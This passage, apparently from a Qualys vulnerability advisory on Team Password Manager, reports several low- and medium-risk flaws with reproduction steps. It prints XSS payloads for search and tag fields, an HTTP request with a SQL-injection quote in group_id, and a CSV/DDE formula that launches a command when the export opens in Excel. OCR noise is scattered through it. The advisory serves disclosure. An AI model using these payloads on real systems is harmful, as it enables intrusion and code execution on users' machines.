2. Add following in Tag field: "><script>alert('xss")</script>,
3. It will show alert box




Vulnerability #21: Self Reflected Cross-site Scripting — My Password Tag

Self Reflected Cross-site Scripting vulnerability found in Password Tag field. A user can create
new/modify Password.

RISK FACTOR: Low

How to Reproduce:

Howbde

Click on “My Passwords”.

Click on “New Password”

Add following in Tag field: "><script>alert('xss")</script>,
It will show alert box

Vulnerability #22: Insecure Session Handling

User can access already established session from blocked IP and until user logs out. Application
allows user to access already established session in following two conditions:

1. If session is accessed from Blocked IP.
2. If Logged in User’s Access changed to API Only.
RISK FACTOR: Low

How to Reproduce:

Session is accessible from Blocked IP:

1.

o gk wD

Login to application using any of the users from one browser.

Login to application using ‘admin’ user from different machine.

Go to ‘IP Address Blocking’ page in ‘Settings’ tab.

Click on ‘New IP Block’ Button

Add the IP of machine from which user is logged in Step 1.

The already established session of user in Step 1 will be accessible until, the user gets
logs out.



Session is accessible to API Only User:

Login to application using any of the users from one browser.

Login to application using ‘admin’ user from different machine.

Go to ‘Users/Groups’ tab.

Go to User’s setting page which is which logged-in in Step 1.

Click on ‘Set as API only User’ Button

The already established session of the same user in Step 1 will be accessible until, the
user gets logs out.

ok wnE

Vulnerability #23: SQL injection on Edit Group page

Application does not sanitize group_id parameter value before sending it to backend database.
Due to that it is possible to inject arbitrary data in backend database.

The application is vulnerable but this issue looks like non-exploitable as only “DOUBLE” values
are allowed which is not helpful for exploitation purpose. During our assessment this issue was not
exploited.

RISK FACTOR: Low

How to Reproduce:

Note - Reproducible with TPM Free Version With PHP 5.6.34-1

&« f@r @ 10.113.192.189/tpm/index.php/groups/edit/1 - @ W Search

[E@Home | ZBUsers/Groups [HLog i Setiings

‘You're using the FREE VERSION of Team Password Manager, which only allows you to have 2 users and 5 projects.

Click here for more users and projects.

U: Group:
m Search Groups
All Groups Edit Group: userigroupi
Name *  userigroupi
* = required fields
3 -
Team Password Manager - teampasswordmanager.com - EULA and other licenses - Help - Advanced Search Help

POST /tpm/index.php/groups/edit/1 HTTP/1.1
Host: 10.113.192.189



User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101
Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.113.192.189/tpm/index.php/groups/edit/1
Content-Type: application/x-www-form-urlencoded

Content-Length: 76

Cookie: PHPSESSID=jtnal08jjrllirvmgac3stgh2p4

Connection: close

Upgrade-Insecure-Requests: 1

csrft=4f9d26cbf09a626e71e5e621381cd3080fe3f728&group id=1'&name=userlgroup4

Response:

(= @ @ 10.113.192.189/tpm/index.php/aroups/edit/1 B -

Exception Object
(
[message:protected] => Truncated incorrect DOUBLE value: '1''
[string:Exception:private] =»
[code:protected] => 500
[file:protected] => /var/www/html/tpm/wmm/core/MY_Exceptions.php
[line:protected) => 77
[trace:Exceptioniprivate] => Array
(
[0] => Array
(
[file] => /var/www/html/tpm/system/database/DB _driver.php
[line] => 1197

[ £unc
[clas

[0] => A Database Error Occurred
[1] => Array
(
[0] => Error Number: 1292
[1] => Truncated incorrect DOUBLE value: '1''
[2] => UPDATE “wmm_groups™ SET ~name™ = 'userlgroupd', “updated by = 'l', “updated on” = '2018-03-09 15:27:45' WHERE ~id" =
[3] =» Filename: /var/www/html/tpm/models/m grp.php
[4] => Line Number: 107

)
)

[1] => Array
(

[£ile] => /var/wwa/html/tpn/system/database/DB_driver.php
[lin

There has been the following exception, please send it to Team Password Manager support
(http://teampasswordmanager.com/support/):

e

Exception Object
(
[message:protected] => Truncated incorrect DOUBLE value: 1"
[string:Exception:private] =>
[code:protected] => 500
[file:protected] => /var/www/html/tpm/wmm/core/MY _Exceptions.php
[line:protected] => 77
[trace:Exception:private] => Array
(
[0] => Array
(



[file] => /var/www/html/tpm/system/database/DB_driver.php
[line] => 1197
[function] => show_error
[class] => MY _Exceptions
[type] => ->
[args] => Array
(
[0] => A Database Error Occurred
[1] => Array
(
[0] => Error Number: 1292
[1] => Truncated incorrect DOUBLE value: "1"
[2] => UPDATE ‘'wmm_groups™ SET "name’ = 'userlgroup4', "updated by ='1',
“updated_on" ='2018-03-09 15:27:45' WHERE "id" = "1\"
[3] => Filename: /var/www/html/tpm/models/m_grp.php
[4] => Line Number: 107

)

[2] =>error_db
)

)

[1] => Array
(
[file] => /var/www/html/tpm/system/database/DB_driver.php
[lin

Vulnerability #24: Insecure Password Link Sharing

The External Password Sharing feature is implemented insecurely. Following implementations are
missing:

1. External Password link remains same even after changing password.
2. External Password Sharing has no timeout implemented.
RISK FACTOR: Low

How to Reproduce:
External Password link remains same even after changing password:

1. Go to ‘Password’ of any of the project.

2. Enable the ‘External Sharing’ feature. This will generate one URL which can be shared
with anyone who can access this application.

3. Now Change the password.

4. Access the above mentioned link, it will show the changed password.



Ideally if password is changed then the old link should get discarded/replaced with new sharing
link.

Vulnerability #25: Self Reflected Error based Cross-site Scripting
Custom field label is vulnerable to cross-site Scripting vulnerability.

RISK FACTOR: Low

How to Reproduce:

Go to a Project. Click C.F. Template

Add custom field label as <img src=x onerror=alert('"Email-field")>
Select Type as email & Save it

Click New Password.

Add any Invalid email address in the custom email field. Click on Save.

arwdE

Email_field

Vulnerability #26: Self Reflected Cross-site Scripting - Search Box

Custom field label is vulnerable to self only cross-site scripting vulnerability.



URL: http://192.168.250.81/tpm/index.php/settings/cft list

Parameter: search_box

RISK FACTOR: Low

How to Reproduce:

1. Open http://192.168.250.81/tpm/index.php/settings/cft_list (search templates)
2. Add payload in search box - "><img src=xx onerror=alert(2)>

()= @ | ® 192.168.249.107/tpm/index.php/settings/cft_list

Vulnerability #27: Self Reflected Cross-site Scripting - IP Address Blocking
Configuration

IP Address Blocking functionality is vulnerable to self reflected cross-site Scripting
vulnerability.

URL:

http://192.168.250.81/tpm/index.php/settings/ipb list

http://192.168.250.81/tpm/index.php/settings/ipb filtert/m

http://192.168.250.81/tpm/index.php/settings/ipb_filtert/a

Parameter: search_box


http://192.168.250.81/tpm/index.php/settings/cft_list
http://192.168.250.81/tpm/index.php/settings/cft_list
http://192.168.250.81/tpm/index.php/settings/ipb_list
http://192.168.250.81/tpm/index.php/settings/ipb_filtert/m

RISK FACTOR: Low

How to Reproduce:

3. Open above mentioned URL in browser
4. Add payload in search box respectively
"><img src=xx onerror=alert(“ip_filter_manul”)>

"><img src=xx onerror=alert(“ip_filter_automatic”)>
"><img src=xx onerror=alert(“ipb_list")>

<) X ® 192.168.249.107/tpm/index.php/settings/ipb_list B 9% Q

ipb_list




N ]
(€)> X @ ‘ ® 192.168.249.107/tpm/index.php/settings/ipb_list

ip_filter_manul

B e
(¢€)»> X @ ® 192.168.249.107/tpm/index.php/settings/ipb_list

ip_filter_automatic

Vulnerability #28: Self Reflected Cross-site Scripting - Log Filter




Log filter fields are vulnerable to self only cross-site scripting vulnerability.
URL.: http://192.168.249.107/tpm/index.php/alog
Parameter: password, project, ip_address, additional

RISK FACTOR: Low

How to Reproduce:

1. Open filter box on - http://192.168.249.107/tpm/index.php/alog

2. Add payload in above mentioned fields - "><img src=xx onerror=alert(111)>

) |
(&) > X ® ® 192.168.249.107/tpm/index.php/alog e @ | | Q search

password



http://192.168.249.107/tpm/index.php/alog

(€)> X @& ® 192.168.249.107/tpm/index.php/alog e @ 1}‘ Q_ search

project

€ 5> X @© | ® 192168249.107/tpm/indexphp/alog R




e e
(1 => X @ ® 192.168.249.107/tpm/index.php/alog e @ 7| Q search

additonal_data

Vulnerability #29: Self Reflected Cross-site Scripting - User Search Box
User search box is vulnerable to self only cross-site scripting vulnerability.

URL: http://192.168.250.81/tpm/index.php/users

Parameter: search_box

RISK FACTOR: Low

How to Reproduce:

1. Open http://192.168.249.107/tpm/index.php/users (search box).
2. Add payload in search box - "><img src=xx onerror=alert(“search_users”)>


http://192.168.250.81/tpm/index.php/users

= _--————
(€)> X ® ® 192.168.249.107/tpm/index.php/users 8 -

search_users

Vulnerability #30: Self Reflected Cross-site Scripting - Group Search Box
Group search box is vulnerable to self only cross-site scripting vulnerability.
URL.: http://192.168.249.107/tpm/index.php/groups
Parameter: search_box

RISK FACTOR: Low

How to Reproduce:

5. Open - http://192.168.249.107/tpm/index.php/groups (search groups)
6. Add payload in search box - "><img src=xx onerror=alert(“search_group”)>



http://192.168.249.107/tpm/index.php/groups

€E)> X - ® 192.168.249.107/tpm/index.php/groups Q¢

search_group

Vulnerability #31: CSV Injection Vulnerability

Application provides functionality to export data in CSV format. This exported data is not
sanitized before adding into CSV files. This leads to CSV injection vulnerability.

Attacker can inject malicious code into application data which will execute malicious code on user
machine when user open downloaded CSV file.

URL.: http://192.168.249.107/tpm/index.php/settings/view/export_import
RISK FACTOR: Medium

How to Reproduce:

=

Go to any Project

Add new Password

3. Add following payload in any of the password fields:
=cmd|' /C calc''A0

n

test w
Project: PMproject [&

Edit  Notes | Upload File Custom Fields Security = Locking = Ext. Sharing Duplicate = Copy = Move

Data Security History Log

& Username:| =cmd[ /C calclA0 [E] ®



4. Go to ‘Settings’.
5. Click on ‘Export Passwords’ button in ‘Export / Import’
6. Select the Project in which above password is added.
7. Export passwords of the mentioned projet.

8. Open Exported file in ‘Excel’, the payload will get executed on user’s machine and it will
open ‘Calculator’ as shown in screenshot

4

»~ o wn

Edit

3 PMprojecttest

SUBM Insert Page layout Formulas Data Review View () Tell mey

SUM X « fr | =emd|'/Ccalc'lA0

A B (& D E F G
1 Project na Name Access infiUsername E-mail Password Notes
2 PMprojectaaaaa http://wwtest test@123. Password: testst

=cmd|' /C calc'|AD

pmproject-2018-03-10 ®

Tags

[} J K L
Custom fieCustom 1 Custom 2 Custon|

aa\><i>azas fi>"
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The discovery and documentation of this vulnerability was conducted by Qualys Application
Security and Research Team (QUASAR).

CONTACT:

For more information about the Qualys Security Research Team, visit our website at
http://www.qualys.com or send email to quasar@qualys.com

LEGAL NOTICE:

The information contained within this advisory is Copyright (C) 2018 Qualys Inc. It may
be redistributed provided that no fee is charged for distribution and that the advisory is

not modified in any way.



